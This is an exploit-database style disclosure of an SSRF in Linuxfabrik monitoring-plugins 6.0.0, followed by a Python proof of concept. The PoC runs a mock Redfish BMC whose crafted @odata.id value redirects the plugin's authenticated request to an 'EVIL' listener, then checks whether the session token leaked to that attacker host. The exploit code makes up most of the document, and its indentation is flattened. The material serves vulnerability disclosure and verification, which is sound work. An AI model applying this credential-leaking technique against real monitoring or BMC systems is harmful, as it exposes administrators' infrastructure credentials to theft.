# Exploit Title: Linuxfabrik monitoring_plugins_6.0.0 - SSRF
# Date: 2026-07-17
# Exploit Author: Pig-Tail (Jorge González Milla)
# Vendor Homepage: https://github.com/Linuxfabrik/monitoring-plugins
# Software Link: https://github.com/Linuxfabrik/monitoring-plugins
# Version: Linuxfabrik monitoring-plugins <= 6.0.0 (fixed 6.0.1)
# Tested on: Linux
# CVE: N/A
# Category: webapps
# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-96fx-pqc3-28xv-monitoring-plugins
An @odata.id value without a leading '/' rewrites the request authority; the plugin re-fetches with the Redfish Authorization header attached, leaking BMC credentials to an attacker host. Advisory: GHSA-96fx-pqc3-28xv.
The PoC is a benign, local verification harness (sentinel-based; no network attack, no
persistence, no destructive payload). Run against a local instance of the affected version.
--- PoC (redfish_ssrf_token_poc.py) ---
import http.server, json, subprocess, threading, os, sys
BMC_PORT, EVIL_PORT = 18080, 18081
EVIL_HITS = []
TOKEN = 'SESSION-TOKEN-SECRET-abc123'
class BMC(http.server.BaseHTTPRequestHandler):
def _j(self, obj, extra=None):
b=json.dumps(obj).encode(); self.send_response(200)
self.send_header('Content-Type','application/json')
if extra:
for k,v in extra.items(): self.send_header(k,v)
self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)
def do_POST(self): # session create -> issue token
self._j({'@odata.id':'/redfish/v1/SessionService/Sessions/1'}, extra={'X-Auth-Token':TOKEN})
def do_GET(self):
if self.path.endswith('/SessionService'):
self._j({'SessionTimeout':600})
elif self.path.endswith('/Systems'):
self._j({'Members':[{'@odata.id':f'@127.0.0.1:{EVIL_PORT}/pivot'}]})
else:
self._j({'Members':[]})
def log_message(self,*a): pass
class EVIL(http.server.BaseHTTPRequestHandler):
def _rec(self):
EVIL_HITS.append((self.command,self.path,self.headers.get('X-Auth-Token'),self.headers.get('Authorization')))
b=b'{"Members": []}'; self.send_response(200)
self.send_header('Content-Type','application/json'); self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)
do_GET=_rec; do_POST=_rec
def log_message(self,*a): pass
def serve(port,h):
httpd=http.server.ThreadingHTTPServer(('127.0.0.1',port),h)
threading.Thread(target=httpd.serve_forever,daemon=True).start()
serve(BMC_PORT,BMC); serve(EVIL_PORT,EVIL)
env=dict(os.environ,PYTHONPATH='/opt')
plugin='/mp/check-plugins/redfish-ethernetinterfaces/redfish-ethernetinterfaces'
cmd=[sys.executable,plugin,'--url',f' http://127.0.0.1:{BMC_PORT}','--username','monitor','--password','pw','--cache-expire','1 ']
p=subprocess.run(cmd,env=env,capture_output=True,text=True,timeout=60)
print('plugin stdout:',p.stdout[:200]); print('plugin stderr:',p.stderr[:300])
print('EVIL hits:',len(EVIL_HITS))
for m,path,tok,auth in EVIL_HITS:
print(f' {m} {path} X-Auth-Token={tok} Authorization={auth}')
print('>>> TOKEN LEAKED TO ATTACKER HOST' if any(t==TOKEN for _,_,t,_ in EVIL_HITS) else '>>> token not leaked')